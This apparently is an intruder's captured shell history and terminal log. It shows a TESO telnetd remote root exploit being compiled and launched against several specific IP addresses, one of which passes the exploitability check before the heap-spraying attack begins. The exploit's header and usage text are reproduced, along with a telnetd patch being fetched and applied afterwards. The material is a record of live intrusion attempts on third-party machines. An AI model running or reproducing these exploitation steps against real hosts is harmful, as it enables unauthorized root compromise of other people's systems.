-----------------------------------------------------------------------
.bash_history
-----------------------------------------------------------------------
w
ls
gcc -o d telnetd.c
./d 211.75.15.210
./d 211.75.139.188
./d 211.75.235.181
fetch
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:69/telnetd.patch.v1.1dir
ls
patch -p > /home/niv/patch
patch -p < /home/niv/patch
mv patch telnetd.patch.v1.1
patch -p < /home/niv/telnetd.patch.v1.1
-----------------------------------------------------------------------
telnetd.c
-----------------------------------------------------------------------
/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
*
http://www.hack.co.za website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
* NetBSD 1.5
* FreeBSD 3.1
* FreeBSD 4.0-REL
* FreeBSD 4.2-REL
* FreeBSD 4.3-BETA
* FreeBSD 4.3-STABLE
* FreeBSD 4.3-RELEASE
*
*/
-----------------------------------------------------------------------
telnetd.c
-----------------------------------------------------------------------
www:/home/niv$ ./d
7350854 - x86/bsd telnetd remote root
by zip, lorian, smiler and scut.
usage: ./d [-n
] [-c] [-f]
-n num number of populators, for testing purposes
-c check exploitability only, do not exploit
-f force mode, override check results
WARNING: this is no easy exploit, we have to get things tightly aligned and
send 16/34mb of traffic to the remote telnet daemon. it might not be able to
take that, or it will take very long for it (> 1h). beware.
tested: FreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE
NetBSD 1.5
BSDI BSD/OS 4.1
www:/home/niv$ ./d 211.75.15.210
7350854 - x86/bsd telnetd remote root
by zip, lorian, smiler and scut.
check: FAILED
aborting
www:/home/niv$ ./d 211.75.235.181
7350854 - x86/bsd telnetd remote root
by zip, lorian, smiler and scut.
check: PASSED, using 16mb mode
#############################################################################
ok baby, times are rough, we send 16mb traffic to the remote
telnet daemon process, it will spill badly. but then, there is no
other way, sorry...
## setting populators to populate heap address space
## number of setenvs (dots / network): 31500
## number of walks (percentage / cpu): 496140750
##
## the percentage is more realistic than the dots :wink:
percent |--------------------------------------------------------| ETA |
0.00% |. | --:--:-- |